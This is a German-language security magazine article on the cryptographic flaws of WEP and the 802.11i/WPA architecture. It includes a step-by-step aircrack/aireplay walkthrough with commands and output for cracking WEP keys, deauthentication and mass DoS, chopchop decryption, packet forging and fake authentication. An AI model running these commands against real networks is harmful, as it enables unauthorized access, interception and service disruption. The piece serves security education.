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Selbst wenn in Wi-Fi-Gerªten Sicher-
heitsmaÇnahmen aktiviert sind, wird in 
der Regel ein schwaches Verschl¿sse-

lungsprotokoll wie zum Beispiel WEP benutzt. 
In diesem Artikel werden wir die Schwªchen 
von WEP untersuchen und feststellen, wie 
einfach es ist, das Protokoll zu knacken. Die 
beklagenswerte Unangemessenheit von WEP 
verdeutlicht das Bed¿rfnis nach einer neuen 
Sicherheitsarchitektur in Form des 802.11i-
Standards, weshalb wir ebenfalls einen Blick 
in Standardimplementationen von WPA und 
WPA2, sowie deren ersten kleineren Sicher-
heitsl¿cken und deren Integration in Betriebs-
systeme werfen.

R.I.P. WEP
WEP (Wired Equivalent Privacy) war das Stan-
dard-Verschl¿sselungsprotokoll, das im ersten 
IEEE 802.11-Standard bereits im Jahre 1999 
eingef¿hrt wurde. Es basiert auf dem RC4-
Verschl¿sselungsalgorithmus, mit einem ge-
heimen Schl¿ssel von 40 oder 104 Bits, die mit 
einem 24-Bit-Initialisierungsvektor (IV) kombi-
niert werden, um die Klartextnachricht M und 
dessen Pr¿fsumme ï den ICV (Integrity Check 
Value) ï zu verschl¿sseln. Die verschl¿sselte 

Nachricht C wurde demnach unter Benutzung 
der folgenden Formel bestimmt:

C = [ M || ICV(M) ] + [ RC4(K || IV) ]

wobei || ein Verkn¿pfungsoperator ist und + 
ein XOR-Operator. Offensichtlich ist der Initia-
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Schwierigkeitsgrad

Wi-Fi (Wireless Fidelity) ist eine der heute f¿hrenden drahtlosen 
Technologien, wobei Wi-Fi-Unterst¿tzung in immer mehr Gerªte 
integriert wird: Laptops, PDAs, Handys. Jedoch bleibt ein 
Konýgurationsaspekt all zu oft unbeachtet: Sicherheit. 
Werfen wir einmal einen nªheren Blick auf das Sicherheitslevel 
von Verschl¿sselungsmethoden, die in modernen 
Wi-Fi-Implementationen benutzt werden.

In diesem Artikel 
erfahren Sie...
Å  die Schwªchen der WEP-Verschl¿sselung,
Å  einen umfassenden ¦berblick ¿ber den 

802.11i-Standard und seine kommerziellen 
Umsetzungen: WPA und WPA2,

Å  die Grundlagen von 802.1x,
Å  die potentiellen Schwªchen von WPA und 

WPA2.

Was Sie vorher wissen/kºnnen 
sollten...
Å  die Grundlagen von TCP/IP und des Wi-Fi-Pro-

tokolls,
Å  Sie sollten Grundkenntnisse in der Kryptogra-

phie besitzen.
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lisierungsvektor der Schl¿ssel f¿r die 
Sicherheit von WEP. Will man ein an-
stªndiges MaÇ an Sicherheit beibe-
halten und Enth¿llungen minimieren, 
sollte der IV f¿r jedes Paket erhºht 
werden, damit nachfolgende Pakete 
mit unterschiedlichen Schl¿sseln 
verschl¿sselt werden. Bedauerlich 
f¿r die WEP-Sicherheit ist, dass 
der IV im Klartext ¿bertragen wird 
und dass der 802.11-Standard keine 
IV-Erhºhung erzwingt. Er ¿berlªsst 
diese SicherheitsmaÇnahme den 
Optionen der jeweiligen Implemen-
tation der drahtlosen Endgerªte (Ac-
cess Point oder Wireless Card).

Eine kurze 
Vorgeschichte zu WEP
Das WEP-Protokoll wurde nicht von 
Sicherheits- oder Kryptographie-Ex-
perten entworfen, weshalb es sich 
schnell als anfªllig f¿r die RC4-Proble-
me, die von David Wagner vier Jahre 
davor beschrieben wurden, zeigte. 
Im Jahre 2001 verºffentlichten Scott 
Fluhrer, Itsik Mantin und Adi Shamir 
(oder kurz: FMS) ihre ber¿hmte Arbeit 
¿ber WEP, die zwei Schwachstellen 
im RC4-Verschl¿sselungsalgorithmus 
aufzeigten: Invariance Weaknesses 
und Angriffe bei bekanntem IV. Beide 
Angriffe beruhen auf der Tatsache, 
dass es f¿r bestimmte Schl¿sselwerte 
mºglich ist, dass Bits in den Anfangs-
bytes des Keystream von nur ein paar 
wenigen Bits des Encryption-Key 
abhªngen (obgleich normalerweise 
jedes Bit eines Keystreams sich mit 
50% Wahrscheinlichkeit vom voran-
gehenden unterscheidet). Weil der 
Encryption-Key durch die Verkn¿p-
fung des geheimen Schl¿ssels mit 
dem IV zusammengesetzt wird, er-
geben bestimmte IV-Werte schwache 
Schl¿ssel. 

Die Schwachstellen werden von 
Sicherheitstools, wie zum Beispiel 
AirSnort, ausgenutzt. Damit ist es 
mºglich WEP-Schl¿ssel wiederher-
zustellen, indem eine ausreichende 
Menge an Trafýc analysiert wird. 
Wªhrend diese Art von Angriff er-
folgreich in einem belebten Netzwerk 
bei einem vern¿nftigen Zeitaufwand 
durchgef¿hrt werden kann, war 
die Zeit, die zur Datenverarbeitung 

benºtigt wird, ziemlich lang. David 
Hulton (h1kari) entwickelte eine op-
timierte Version des Angriffs, der in 
die Betrachtung nicht nur das erste 
Byte der RC4-Ausgabe (wie in der 
FMS-Methode) einbezog, sondern 
ebenfalls die nachfolgenden. Das 
f¿hrte zu einer geringf¿gigen Redu-
zierung der Datenmenge, die f¿r die 
Analyse notwendig war.

Der Schritt der Integritªts¿ber-
pr¿fung leidet ebenfalls an einer 
ernsthaften Schwachstelle aufgrund 
des CRC32-Algorithmus, der f¿r 
diese Aufgabe benutzt wird. CRC32 
wird hªuýg bei Fehlererkennungen 
benutzt, aber wurde aufgrund seiner 
Linearitªt nie als kryptographisch si-
cher angesehen, wie Nikita Borisov, 
Ian Goldberg und David Wagner im 
Jahre 2001 feststellten.

Seit diesem Zeitpunkt wurde 
angenommen, dass WEP nur f¿r 
Privatanwender und unkritische An-
wendungen ein akzeptables MaÇ an 
Sicherheit bietet. Jedoch war selbst 
diese vorsichtige Zur¿ckhaltung mit 
dem Erscheinen von KoreK-Angrif-
fen im Jahr 2004 (verallgemeinerte 
FMS-Angriffe, darunter auch die 
Optimierungen von h1kari) und des 
Inverted Arbaugh inductive-Angriffs, 
der es ermºglicht, dass beliebige 
Pakete ohne Wissen ¿ber den 
Schl¿ssel durch Packet-Injection 
entschl¿sselt werden kºnnen, kom-
plett vergessen. Cracking-Tools, wie 
Aircrack von Christophe Devine oder 
WepLab von Jos® Ignacio S§nchez 
setzen diese Angriffe um und kºn-
nen einen 128-Bit WEP-Schl¿ssel 
in weniger als 10 Minuten wieder-

herstellen (oder etwas langsamer, 
abhªngig vom speziellen Access 
Point und der Wireless Card).

Das EinþieÇen von Paket-In-
jection verbesserte die Zeiten f¿rs 
WEP-Cracking auÇerordentlich, da 
jetzt nicht mehr Millionen, sondern 
nur noch wenige tausend Pakete mit 
gen¿gend einmaligen IVs benºtigt 
werden ï rund 150.000 f¿r einen 
64-Bit WEP-Schl¿ssel und 500.000 
f¿r einen 128-Bit-Schl¿ssel. Mit Pa-
ket-Injection war das Sammeln der 
notwendigen Daten eine Sache von 
Minuten. Gegenwªrtig ist WEP vºllig 
zweifellos tot (siehe Tabelle 1) und 
sollte nicht benutzt werden, nicht 
einmal mit Schl¿sselrotation.

WEP-Sicherheitsl¿cken kºnnen 
wie folgt zusammengefasst werden:

Å  Schwachstellen des RC4-Algo-
rithmus im WEP-Protokoll auf-
grund der Schl¿sselkonstruktion;

Å  IV sind zu kurz (24 Bits ï weniger 
als 5000 Pakete werden f¿r eine 
50% Kollisionswahrscheinlichkeit 
benºtigt) und IV-Wiederbenut-
zung ist erlaubt (kein Schutz ge-
gen Nachrichtenwiederholung);

Å  keine angemessene Integritªts-
¿berpr¿fung (CRC32 wird f¿r 
Fehlererkennung benutzt und ist 
aufgrund seiner Linearitªt krypto-
graphisch unsicher);

Å  keine eingebaute Methode zur 
Aktualisierung von Schl¿sseln.

Cracking von WEP-Schl¿sseln 
mit Aircrack
Mit Tools wie Aircrack (erstellt 
vom franzºsischen Security Re-

Abbildung 1. WEP-Verschl¿sselungsprotokoll
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searcher Christophe Devine) kann 
WEP-Cracking sehr leicht demons-
triert werden. Aircrack enthªlt drei 
Hauptwerkzeuge, die in den drei 
f¿r die Schl¿sselwiederherstellung 
benºtigten Angriffsphasen benutzt 
werden:

Å  airodump: Wireless Snifýng-
Tool, das zur Entdeckung von 
Netzwerken mit aktivierten WEP 
benutzt wird;

Å  aireplay: Injection-Tool zur Erhº-
hung des Trafýcs;

Å  aircrack: WEP-Schl¿ssel-Cra-
cker, das die gesammelten ein-
zelnen IV benutzt.

Derzeit unterst¿tzt aireplay Injections 
nur auf bestimmten Wireless-Chip-
sªtzen. F¿r die Injection-Unterst¿t-
zung im Monitor-Modus werden die 
neuesten gepatchten Treiber benº-
tigt. Der Monitor-Modus ist das  qui-
valent zum Promiscuous-Modus in 
Kabelnetzwerken. Dieser verhindert, 
dass Pakete, die nicht f¿r den ¿ber-
wachenden Host bestimmt sind, 
abgelehnt werden (was ¿blicherwei-
se auf der physischen Schicht des 
OSI-Stacks gemacht wird). Dadurch 
kºnnen alle Pakete eingefangen 

werden. Wenn die Treiber gepatched 
sind, wird nur eine Wireless Card be-
nºtigt, um gleichzeitig aufzunehmen 
und Trafýc einzuspeisen.

Das Hauptziel eines Angriffs ist 
es Trafýc zu erzeugen, um einma-
lige IV einzufangen, die zwischen 
einem legitimierten Client und ei-
nem Access Point benutzt werden. 
Einige verschl¿sselte Daten sind 
leicht wiedererkennbar, weil sie ei-
ne feste Lªnge besitzen, eine feste 
Zieladresse usw. Das ist der Fall 
bei ARP-Request-Paketen (siehe 
Kasten ARP-Request), die an die 
Broadcast-Adresse (FF:FF:FF:FF:
FF:FF) gesendet werden und eine 
feste Lªnge von 68 Oktetts haben. 
ARP-Requests kºnnen wiederholt 
werden, um neue ARP-Responses 
von einem berechtigtem Host zu 
verursachen, was zu Nachrichten 
im Funknetz f¿hrt, die mit neuen IVs 
verschl¿sselt werden.

In den folgenden Beispielen ist 
00:13:10:1F:9A:72 die MAC-Adres-
se des Access Points (BSSID) im 
Kanal 1 mit der SSID hakin9demo 
und 00:09:5B:EB:C5:2B ist die 
MAC-Adresse eines Clients (der 
WEP oder WPA-PSK, je nach 
Beispiel, benutzt) im drahtlosen 

Netzwerk. Die meisten Befehle er-
fordern root-Privilegien.

Der erste Schritt ist das Akti-
vieren des Monitor-Modus auf Ihrer 
Wireless-Card (hier ein Atheros-
basiertes Modell), damit wir den 
gesamten Trafýc einfangen kºnnen 
(siehe Listing 1). Der nªchste Schritt 
ist das Herausýnden von in der Nªhe 
liegenden Netzwerken und deren 
Clients, indem alle 14 Kanªle, die 
Wi-Fi-Netzwerke benutzen kºnnen 
(siehe Listing 2), gescannt werden.

Der Ergebnis in Listing 2 ist 
folgendermaÇen zu interpretieren: 
ein Access Point mit der BSSID 
00:13:10:1F:9A:72 benutzt WEP-
Verschl¿sselung auf dem Kanal 1 
mit der SSID hakin9demo und ein 
Client, der durch die MAC-Adresse 
00:0C:F1:19:77:5C identiýziert wer-
den kann, ist mit diesem Netzwerk 
verbunden und authentiýziert.

Sobald das Zielnetzwerk lokali-
siert wurde, sollte das Einfangen auf 
dem richtigen Kanal, um das Verpas-
sen von Paketen wªhrend des Scan-
nens anderer Kanªle zu vermeiden, 
gestartet werden. Folgender Befehl 
erzeugt die gleiche Ausgabe wie der 
vorangegangene:

# airodump ath0 wep-crk 1

Tabelle 1. Zeitachse des Todes von WEP
Datum Beschreibung

Septem-
ber 1995

Potentielle RC4-Schwachstelle (Wagner)

Oktober 
2000

Erste Publikation ¿ber WEP-Schwachstellen: Unsafe at any 
key size; An analysis of the WEP encapsulation (Walker)

Mai 2001 An inductive chosen plaintext -Angriff gegen WEP/WEP2 
(Arbaugh)

Juli 2001 CRC Bit þipping-Angriff ï Intercepting Mobile Communicati-
ons: The Insecurity of 802.11 (Borisov, Goldberg, Wagner)

August 
2001

FMS-Angriffe ï Weaknesses in the Key Scheduling Algorithm 
of RC4 (Fluhrer, Mantin, Shamir)

August 
2001

Verºffentlichung von AirSnort

Februar 
2002

Optimierte FMS-Angriffe von h1kari

August 
2004

KoreK-Angriffe (einmalige IV) ï Verºffentlichung von chopchop 
und chopper

Juli/
August 
2004

Verºffentlichung von Aircrack (Devine) und WepLab (San-
chez), die die KoreK-Angriffe umsetzen

ARP-Request
Das Address Resolution Protocol (ARP 
ï RFC826) wird benutzt, um 32-Bit 
IP-Adressen in 48-Bit Ethernet-Adres-
sen umzuwandeln (Wi-Fi-Netzwerke 
benutzen ebenfalls das Ethernet-Proto-
koll). Zur Veranschaulichung dient Fol-
gendes: wenn ein Host A (192.168.1.1) 
mit einem Host B (192.168.1.2) kommu-
nizieren mºchte, muss die bekannte 
IP-Adresse in eine MAC-Adresse unter 
Benutzung des ARP-Protokolls umge-
wandelt werden. Um das zu machen, 
sendet Host A eine Broadcast-Nach-
richt, die die IP-Adresse vom Host B 
enthªlt (Wer hat 192.168.1.2? Sage 
es 192.168.1.1). Der Zielhost gibt eine 
Antwort zur¿ck (192.168.1.2 ist auf 01:
23:45:67:89:0A), nachdem er erkannt 
hat, dass die IP-Adresse im Paket 
mit der eigenen ¿bereinstimmt. Die 
Antwort wird ¿blicherweise im Cache 
aufbewahrt.
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Als Nªchstes kºnnen wir die vorher 
gesammelten Informationen dazu 
benutzen, mithilfe von aireplay 
Trafýc einzuspeisen. Die Injection 
beginnt, wenn ein eingefangener 
ARP-Request, der mit der als Ziel 
angesetzten BSSID verkn¿pft ist, im 
drahtlosen Netzwerk auftaucht:

# aireplay -3 \

  -b 00:13:10:1F:9A:72 \

  -h 00:0C:F1:19:77:5C \

  -x 600 ath0

(...)

Read 980 packets

  (got 16 ARP requests),

  sent 570 packets...

Letztendlich wird aircrack dazu 
benutzt, den WEP-Schl¿ssel zu 
erlangen. Die Verwendung der 
pcap-Datei macht es mºglich, dass 
dieser letzte Schritt ausgef¿hrt wer-
den kann, noch wªhrend airodump 
dabei ist Daten einzufangen (siehe 
Abbildung 2 f¿r die Ergebnisse):

# aircrack -x -0 wep-crk.cap

Andere Arten 
von Aircrack-Angriffen
Aircrack macht es auÇerdem mºg-
lich, andere interessante Angriffsar-
ten durchzuf¿hren. Schauen wir uns 
ein paar von ihnen einmal nªher an.

Angriff 2: Deauthentiýzierung
Dieser Angriff kann dazu benutzt 
werden, eine versteckte SSID (z. B.
eine, die nicht per Broadcast versen-
det wird) zu erlangen, einen 4-Wege-
Handshake von WPA einzufangen 
oder ein Denial of Service zu erzwin-
gen (dazu spªter in der Sektion ¿ber 
802.11i mehr). Das Ziel des Angriffs 
ist es, den Client dazu zu bringen, 
dass er sich erneut authentiýziert. 
Dies, zusammen mit dem Fehlen 
einer Authentiýzierung f¿r Control 
Frames (die f¿r die Authentiýzie-
rung, Verbindung etc. benutzt wird), 
ermºglicht es einem Angreifer, MAC-
Adressen zu spoofen.

Einem Client im drahtlosen Netz-
werk kann die Authentiýzierung mit 
folgendem Befehl entzogen werden. 
Dieser bewirkt, dass Deauthentiý-

zierungs-Pakete von der BSSID aus 
an die MAC-Adresse des Clients 
gesendet werden, wobei die BSSID 
gespooft wird:

# aireplay -0 5 

  -a 00:13:10:1F:9A:72 

  -c 00:0C:F1:19:77:5C 

  ath0

Massen-Deauthentiýzierung ist 
ebenfalls mºglich (allerdings nicht 
immer zuverlªssig) und ist damit 
verbunden, dass der Angreifer konti-
nuierlich die BSSID spoofen und die 
Deauthentiýzierungs-Pakete an die 
Broadcast-Adresse senden muss:

# aireplay -0 0

  -a 00:13:10:1F:9A:72

  ath0

Angriff 3: Entschl¿sselung 
beliebiger WEP-Datenpakete 
ohne Kenntnis des Schl¿ssels
Dieser Angriff basiert auf dem Proof-
of-Concept-Tool von KoreK, genannt 
chopchop, das mit WEP verschl¿s-
selte Pakete entschl¿sseln kann, 
ohne das dabei der Schl¿ssel selbst 
bekannt sein muss. Die Integritªts-
pr¿fung, die im WEP-Protokoll um-
gesetzt wurde, ermºglicht es einem 
Angreifer, sowohl ein verschl¿ssel-
tes Paket, als auch dessen zuge-
hºrigen CRC zu verªndern. Dar¿ber 
hinaus bedeutet die Benutzung des 
XOR-Operators im WEP-Protokoll, 
dass ein ausgewªhltes Byte in der 
verschl¿sselten Nachricht immer 
vom gleichen Byte in der Klartext-
Nachricht abhªngt. Durch das 
Abschneiden des letzten Bytes der 

Listing 1. Aktivierung des Monitor-Modus

# airmon.sh start ath0

Interface       Chipset         Driver

ath0            Atheros         madwiý (monitor mode enabled)

Listing 2. Aufýnden in der Nªhe liegender Netzwerke und deren Clients

# airodump ath0 wep-crk 0

 BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID

 00:13:10:1F:9A:72   62      305       16   1  48  WEP   hakin9demo          

 BSSID              STATION            PWR  Packets  ESSID                   

 00:13:10:1F:9A:72  00:0C:F1:19:77:5C   56        1  hakin9demo

Abbildung 2. Aircrack-Ergebnisse nach ein paar Minuten
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verschl¿sselten Nachricht, wird die-
se beschªdigt. Gleichzeitig wird aber 
dadurch ermºglicht, dass der Wert 
des dazugehºrigen Klartext-Bytes 
erraten werden und die verschl¿s-
selte Nachricht dementsprechend 
korrigiert werden kann.

Wenn das nachgebesserte Paket 
wiederum in das Netzwerk einge-
speist wird, wird es vom Access 
Point gedropped, wenn die Vermu-
tung falsch war (in diesem Fall muss 
erneut geschªtzt werden). Bei einer 
richtigen Vermutung wird es jedoch 

wie gewºhnlich weitergeleitet. Indem 
man diesen Angriff f¿r alle Bytes ei-
ner Nachricht wiederholt, kann man 
ein WEP-Paket entschl¿sseln und 
den Keystream wiederherstellen. 
Denken Sie daran, dass IV-Inkre-
mentierung im WEP-Protokoll nicht 
verbindlich ist, weshalb es mºglich 
ist, diesen Keystream wiederzuver-
wenden, um nachfolgende Pakete zu 
spoofen (Wiederbenutzung des IV).

Die Wireless-Card muss auf 
dem richtigen Kanal in den Monitor-
Modus gewechselt werden (siehe 
vorangegangenes Beispiel f¿r eine 
Beschreibung dazu). Der Angriff 
muss gegen einen berechtigten 
Client (immer noch 00:0C:F1:19:
77:5C in unserem Fall) durchge-
f¿hrt werden und aireplay wird den 
Angreifer dazu auffordern, jedes 
einzelne verschl¿sselte Paket an-
zunehmen (siehe Listing 3). Zwei 
pcap-Dateien werden erzeugt: ei-
ne f¿r das unverschl¿sselte Paket 
und eine weitere f¿r deren dazu-
gehºrigen Keystream. Die daraus 
resultierende Datei kann mit einem 
passenden Reader (wir werden 
tcpdump benutzen) lesbar gemacht 
werden ï siehe Listing 4 f¿r ein 
Beispiel eines Ping, der zwischen 
Hosts ausgetauscht wird.

Sobald der Keystream aufge-
zeichnet wurde, ist es mºglich, 
jegliche Pakete zu fªlschen. Hier 
ist ein gespoofter ARP-Request, 
der von 192.168.2.123 (00:0C:F1:
19:77:5C) an 192.168.2.103 gesen-
det wird:

# arpforge \

  replay_dec-0916-114019.xor \

  1 \

  00:13:10:1F:9A:72 \

  00:0C:F1:19:77:5C \

  192.168.2.123 \

  192.168.2.103 \

  forge-arp.cap

SchlieÇlich wird aireplay dazu be-
nutzt dieses Paket wiederzugeben 
(siehe Listing 5).

Diese Methode ist weniger 
automatisiert als das eigene ARP-
Request-Spooýng von Aircrack (die 
-1-Option), ist jedoch anpassbarer. 

Listing 3. Entschl¿sseln von WEP-Paketen ohne Kenntnis des 
Schl¿ssels

# aireplay -4 -h 00:0C:F1:19:77:5C ath0

Read 413 packets...

 Size: 124, FromDS: 0, ToDS: 1 (WEP)

      BSSID  =  00:13:10:1F:9A:72

  Dest. MAC  =  00:13:10:1F:9A:70

 Source MAC  =  00:0C:F1:19:77:5C

 0x0000:  0841 d500 0013 101f 9a72 000c f119 775c  .A.......r....w\

 0x0010:  0013 101f 9a70 c040 c3ec e100 b1e1 062c  .....p.@.......,

 0x0020:  5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76  \.'...h.#..GZ.[v

 0x0030:  0078 91c8 adfe bf30 d98c 1668 56bf 536c  .x.....0...hV.Sl

 0x0040:  7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4  pF_..K....j.4wt.

 0x0050:  fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6  .......5#.U...[.

 0x0060:  862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1  .+>.[...";.D7...

 0x0070:  3b88 c5b1 0843 0289 1bff 5160            ;....C....Q`

Use this packet ? y

Saving chosen packet in replay_src-0916-113713.cap

Offset  123 ( 0% done) | xor = 07 | pt = 67 |  373 frames written in  1120ms

Offset  122 ( 1% done) | xor = 7D | pt = 2C |  671 frames written in  2013ms

(...)

Offset   35 (97% done) | xor = 83 | pt = 00 |  691 frames written in  2072ms

Offset   34 (98% done) | xor = 2F | pt = 08 |  692 frames written in  2076ms

Saving plaintext in replay_dec-0916-114019.cap

Saving keystream in replay_dec-0916-114019.xor

Completed in 183s (0.47 bytes/s)

Listing 4. Einlesen einer pcap-Datei aus einem Angriff

# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap

reading from ýle replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11)

11:40:19.642112 BSSID:00:13:10:1f:9a:72 Ä
  SA:00:0c:f1:19:77:5c DA:00:13:10:1f:9a:70

LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000),

ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:

ICMP echo request, id 23046, seq 1, length 64

Listing 5. Wiedergabe eines gefªlschten Pakets

# aireplay -2 -r forge-arp.cap ath0

 Size: 68, FromDS: 0, ToDS: 1 (WEP)

      BSSID  =  00:13:10:1F:9A:72

  Dest. MAC  =  FF:FF:FF:FF:FF:FF

 Source MAC  =  00:0C:F1:19:77:5C

 0x0000:  0841 0201 0013 101f 9a72 000c f119 775c  .A.......r....w\

 0x0010:  ffff ffff ffff 8001 c3ec e100 b1e1 062c  ...............,

 0x0020:  5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c  \.'.I.`.%.KF....

 0x0030:  b78c 5307 6f2d bdce d18c 8d33 cc11 510a  ..S.o-.....3..Q.

 0x0040:  49b7 52da                                I.R.

Use this packet ? y

Saving chosen packet in replay_src-0916-124231.cap

You must also start airodump to capture replies.

Sent 1029 packets...
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Der Angreifer kann den entdeckten 
Keystream dazu benutzen, jegliche 
Pakete zu fªlschen, die nicht lªnger 
als der Keystream sind (andernfalls 
muss der Keystream ausgedehnt 
werden).

Angriff 4: 
Fake-Authentiýzierung
Die vorher (Angriffe 1 und 3) be-
schriebenen Cracking-Methoden f¿r 
den WEP-Schl¿ssel benºtigen einen 
berechtigten Client (real oder virtuell, 
wobei real besser ist), der mit einem 
Access Point verbunden ist, um 
sicherzustellen, dass der Access 
Point keine Pakete aufgrund einer 
nicht angeschlossenen Zieladresse 
verwirft.

Wenn eine offene Authentiý-
zierung benutzt wird, kann jeder 
Client mit dem Access Point au-
thentiýziert und angeschlossen 
werden, allerdings wird der Access 
Point alle diejenigen Pakete drop-
pen, die nicht mit dem richtigen 
WEP-Schl¿ssel verschl¿sselt wur-
den. In dem Beispiel in Listing 6 
wird Aireplay dazu benutzt, einen 
Authentication- und Association-
Request f¿r die SSID hakin9demo 
(BSSID: 00:13:10:1F:9A:72) mit der 
gespooften MAC-Adresse 0:1:2:3:
4:5 zu fªlschen.

Einige Access Points erfordern, 
dass sich Clients alle 30 Sekunden 
erneut verbinden. Dieses Verhalten 
kann in aireplay nachgeahmt wer-
den, indem die zweite Option (0) mit 
30 ersetzt wird.

802.11i
Im Januar 2001 wurde die i-Task 
Group im IEEE gegr¿ndet, um die 
Datenauthentiýzierung und die Ver-
schl¿sselungssicherheit zu verbes-
sern. Im April 2003 verºffentlichte 
die Wi-Fi Alliance (ein Verband zur 
Fºrderung und Zertiýzierung von 
Wi-Fi) eine Empfehlung als Antwort 
auf Bedenken von Unternehmen in 
Bezug auf die Sicherheit drahtloser 
Netzwerke. Jedoch waren sie sich 
ebenfalls bewusst, dass Verbrau-
cher nicht gewillt sein w¿rden, ihr 
vorhandenes Equipment zu erset-
zen.

Im Juni 2004 wurde der endg¿l-
tige Release des 802.11i-Standards 
angenommen und erhielt den kom-
merziellen Namen WPA2 von der 
Wi-Fi Alliance. Der IEEE 802.11i-
Standard f¿hrte solche grundlegen-
de  nderungen wie die Trennung 
der Nutzerauthentiýzierung und 
der Sicherstellung der Nachrich-
tenintegritªt bzw. -geheimhaltung 
und stellt dadurch eine stabile und 
anpassbare Sicherheitsarchitektur 
zur Verf¿gung, die gleichermaÇen 
f¿r Heimnetzwerke und groÇe 
Unternehmensumgebungen geeig-
net ist. Die neue Architektur f¿r 
drahtlose Netzwerke wird Robust 
Security Network (RSN) genannt 
und benutzt 802.1X-Authentiýkati-
on, stabile Schl¿sselverteilung und 
neue Integritªts- und Privacy-Me-
chanismen.

Obwohl die RSN-Architektur 
komplexer ist, bietet sie sichere und 
skalierbare Lºsungen f¿r drahtlose 
Kommunikationen. Ein RSN wird 
¿blicherweise nur RSN-fªhige Ge-
rªte akzeptieren, allerdings deýniert 
IEEE 802.11i auch eine Transitional 
Security Network (TSN)-Architek-
tur, in der sowohl RSN als auch 
WEP-Systeme teilnehmen kºnnen, 
wodurch es Benutzern ermºglicht 
wird, ihre Ausstattung rechtzeitig 
aufzur¿sten. Wenn der Authentiý-
kationsvorgang oder Verbindungs-
aufbau zwischen den Gerªten den 
4-Wege-Handshake benutzt, wird 
der Verbindungsaufbau als RSNA 
(Robust Security Network Associa-
tion) bezeichnet.

Die Herstellung einer sicheren 
Kommunikationsumgebung besteht 
aus vier Phasen (siehe Abbildung 4):

Å  ¦bereinkommen ¿ber die Sicher-
heitspolicy;

Å  802.1X-Authentiýkation;

Å  Schl¿sselableitung und -vertei-
lung;

Å  RSNA-Datenvertraulichkeit und 
-integritªt.

Phase 1: ¦bereinkommen 
¿ber die Sicherheitspolicy
Die erste Phase verlangt von den 
kommunizierenden Parteien, dass 
sich diese auf die zu benutzende 
Sicherheitspolicy einigen. Sicher-
heitspolicies, die der Access Point 
unterst¿tzt, werden in Beacon oder 
in einer Probe Respond-Nachricht 
(die einem Probe Request vom Client 
folgt) angek¿ndigt. Es folgt eine offe-
ne Standardauthentiýkation (genau 
wie in TSN-Netzwerken, in denen 
eine Authentiýkation immer erfolgreich 
ist). Die Antwort des Clients wird in 
der Association Request-Nachricht 
eingef¿gt, die von einem Association 
Response vom Access Point bestªtigt 
wird. Informationen zur Sicherheitspo-
licy wird im Feld RSN IE (Information 
Element) gesendet, im Detail:

Å  unterst¿tzte Authentiýkationsme-
thoden (802.1X, Pre-Shared Key 
(PSK));

Å  Sicherheitsprotokolle f¿r Unicast-
Trafýc (CCMP, TKIP etc.) ï die 
Cipher-Suite f¿r zwei Kommuni-
kationspartner;

Å  Sicherheitsprotokolle f¿r Multi-
cast-Trafýc (CCMP, TKIP etc.) 
ï die Cipher-Suite f¿r Gruppen,

Å  Unterst¿tzung f¿r Pre-Authenti-
ýzierung, die es Benutzern er-
mºglicht, sich vor dem Wechsel 
zu einem neuen Access Point 
des gleichen Netzwerks bereits 
vorlªuýg zu authentiýzieren, 
zum Zwecke einer nahtlosen 
¦bergabe.

Abbildung 5 veranschaulicht diese 
erste Phase.

Listing 6. Fake-Authentiýzierung

# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0

18:30:00  Sending Authentication Request

18:30:00  Authentication successful

18:30:00  Sending Association Request

18:30:00  Association successful






















